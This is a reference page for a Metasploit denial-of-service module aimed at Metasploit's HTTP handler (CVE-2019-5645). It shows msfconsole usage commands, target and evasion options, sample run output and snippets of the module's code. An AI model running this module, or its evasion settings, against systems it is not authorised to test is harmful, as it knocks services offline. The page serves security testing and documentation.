Metasploit HTTP(S) handler DoS - Metasploit
This page contains detailed information about how to use the auxiliary/dos/http/metasploit_httphandler_dos metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
hide
Module Overview
Name: Metasploit HTTP(S) handler DoS
Module: auxiliary/dos/http/metasploit_httphandler_dos
Source code: modules/auxiliary/dos/http/metasploit_httphandler_dos.rb
Disclosure date: 2019-09-04
Last modification time: 2019-12-26 13:31:38 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-5645
This module exploits the Metasploit HTTP(S) handler by sending a specially crafted HTTP request that gets added as a resource handler. Resources (which come from the external connections) are evaluated as RegEx in the handler server. Specially crafted input can trigger Gentle, Soft and Hard DoS. Tested against Metasploit 5.0.20.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/dos/http/metasploit_httphandler_dos
msf auxiliary(metasploit_httphandler_dos) > show targets
... a list of targets ...
msf auxiliary(metasploit_httphandler_dos) > set TARGET target-id
msf auxiliary(metasploit_httphandler_dos) > show options
... show and set options ...
msf auxiliary(metasploit_httphandler_dos) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
Metasploit Framework before version 5.0.28
Verification Steps
- Install Metasploit 5.0.27 or earlier (or checkout before commit 5621d200ccf62e4a8f0dad80c1c74f4e0e52d86b)
- Start msfconsole with the target Metasploit instance and start any reverse_http/reverse_https listener
- Start this module and set RHOSTS and RPORT to the target listener address and port.
- Run the modulest <rhost>
msfconsoleshould use 99%+ CPU for a varying amount of time depending on the DOSTYPE option. You may need to kill the process manually.
Options
DOSTYPE
GENTLE: *Current sessions will continue to work, but not future ones*
A lack of input sanitation permits an attacker to submit a request that will be added to the resources and will be used as regex rule it is possible then to make a valid regex rule that captures all the new handler requests. The sessions that were established previously will continue to work.
SOFT: *No past or future sessions will work*
A lack of input sanitation and lack of exception handling causes Metasploit to behave abnormally when looking an appropriate resource for the request, by submitting an invalid regex as a resource. This means that no request, current or future will get served an answer.
HARD: *ReDOS or Catastrophic Regex Backtracking*
A lack of input sanitization on paths added as resources allows an attacker to execute a catastrophic regex backtracking operation causing a Denial of Service by CPU consumption.
Scenarios
msf5 auxiliary(dos/http/metasploit_httphandler_dos) > run
[*] Running module against 127.0.0.1
[*] 127.0.0.1:8080 - Sending DoS packet...
^C[-] Stopping running againest current target...
[*] Control-C again to force quit all targets.
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the dos/http/metasploit_httphandler_dos auxiliary module looks in the msfconsole:
msf6 > use auxiliary/dos/http/metasploit_httphandler_dos
msf6 auxiliary(dos/http/metasploit_httphandler_dos) > show info
Name: Metasploit HTTP(S) handler DoS
Module: auxiliary/dos/http/metasploit_httphandler_dos
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2019-09-04
Provided by:
Jose Garduno, Dreamlab Technologies AG
Angelo Seiler, Dreamlab Technologies AG
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DOSTYPE HARD yes Type of DoS to trigger (Accepted: GENTLE, SOFT, HARD)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Description:
This module exploits the Metasploit HTTP(S) handler by sending a
specially crafted HTTP request that gets added as a resource
handler. Resources (which come from the external connections) are
evaluated as RegEx in the handler server. Specially crafted input
can trigger Gentle, Soft and Hard DoS. Tested against Metasploit
5.0.20.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-5645
Module Options
This is a complete list of options available in the dos/http/metasploit_httphandler_dos auxiliary module:
msf6 auxiliary(dos/http/metasploit_httphandler_dos) > show options
Module options (auxiliary/dos/http/metasploit_httphandler_dos):
Name Current Setting Required Description
---- --------------- -------- -----------
DOSTYPE HARD yes Type of DoS to trigger (Accepted: GENTLE, SOFT, HARD)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the dos/http/metasploit_httphandler_dos auxiliary module:
msf6 auxiliary(dos/http/metasploit_httphandler_dos) > show advanced
Module advanced options (auxiliary/dos/http/metasploit_httphandler_dos):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the dos/http/metasploit_httphandler_dos module can do:
msf6 auxiliary(dos/http/metasploit_httphandler_dos) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the dos/http/metasploit_httphandler_dos auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(dos/http/metasploit_httphandler_dos) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Service responded with a valid HTTP Response; Attack failed.
Here is a relevant code snippet related to the "Service responded with a valid HTTP Response; Attack failed." error message:
45: })
46:
47: if res.nil?
48: print_good('SUCCESS, Service not responding.')
49: else
50: print_error('Service responded with a valid HTTP Response; Attack failed.')
51: end
52: rescue ::Rex::ConnectionRefused
53: print_error('An unknown error occurred.')
54: rescue ::Timeout::Error
55: print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
An unknown error occurred.
Here is a relevant code snippet related to the "An unknown error occurred." error message:
48: print_good('SUCCESS, Service not responding.')
49: else
50: print_error('Service responded with a valid HTTP Response; Attack failed.')
51: end
52: rescue ::Rex::ConnectionRefused
53: print_error('An unknown error occurred.')
54: rescue ::Timeout::Error
55: print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
56: end
57: end
58:
Service responded with a valid HTTP Response; Attack failed.
Here is a relevant code snippet related to the "Service responded with a valid HTTP Response; Attack failed." error message:
101: )
102:
103: if resthree.body.length == 0
104: print_good('SUCCESS, Service not responding.')
105: else
106: print_error('Service responded with a valid HTTP Response; Attack failed.')
107: end
108:
109: else
110: fail_with Failure::BadConfig, 'Invalid DOSTYPE selected'
111: end
Invalid DOSTYPE selected
Here is a relevant code snippet related to the "Invalid DOSTYPE selected" error message:
105: else
106: print_error('Service responded with a valid HTTP Response; Attack failed.')
107: end
108:
109: else
110: fail_with Failure::BadConfig, 'Invalid DOSTYPE selected'
111: end
112:
113: print_status("DOS request sent")
114: end
115:
Go back to menu.
Related Pull Requests
References
See Also
Check also the following modules related to this module:
- auxiliary/dos/http/3com_superstack_switch
- auxiliary/dos/http/apache_commons_fileupload_dos
- auxiliary/dos/http/apache_mod_isapi
- auxiliary/dos/http/apache_range_dos
- auxiliary/dos/http/apache_tomcat_transfer_encoding
- auxiliary/dos/http/brother_debut_dos
- auxiliary/dos/http/cable_haunt_websocket_dos
- auxiliary/dos/http/canon_wireless_printer
- auxiliary/dos/http/dell_openmanage_post
- auxiliary/dos/http/f5_bigip_apm_max_sessions
- auxiliary/dos/http/flexense_http_server_dos
- auxiliary/dos/http/gzip_bomb_dos
- auxiliary/dos/http/hashcollision_dos
- auxiliary/dos/http/ibm_lotus_notes
- auxiliary/dos/http/ibm_lotus_notes2
- auxiliary/dos/http/marked_redos
- auxiliary/dos/http/monkey_headers
- auxiliary/dos/http/ms15_034_ulonglongadd
- auxiliary/dos/http/nodejs_pipelining
- auxiliary/dos/http/novell_file_reporter_heap_bof
- auxiliary/dos/http/rails_action_view
- auxiliary/dos/http/rails_json_float_dos
- auxiliary/dos/http/slowloris
- auxiliary/dos/http/sonicwall_ssl_format
- auxiliary/dos/http/squid_range_dos
- auxiliary/dos/http/tautulli_shutdown_exec
- auxiliary/dos/http/ua_parser_js_redos
- auxiliary/dos/http/webkitplus
- auxiliary/dos/http/webrick_regex
- auxiliary/dos/http/wordpress_directory_traversal_dos
- auxiliary/dos/http/wordpress_long_password_dos
- auxiliary/dos/http/wordpress_xmlrpc_dos
- auxiliary/dos/http/ws_dos
Authors
- Jose Garduno, Dreamlab Technologies AG
- Angelo Seiler, Dreamlab Technologies AG
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
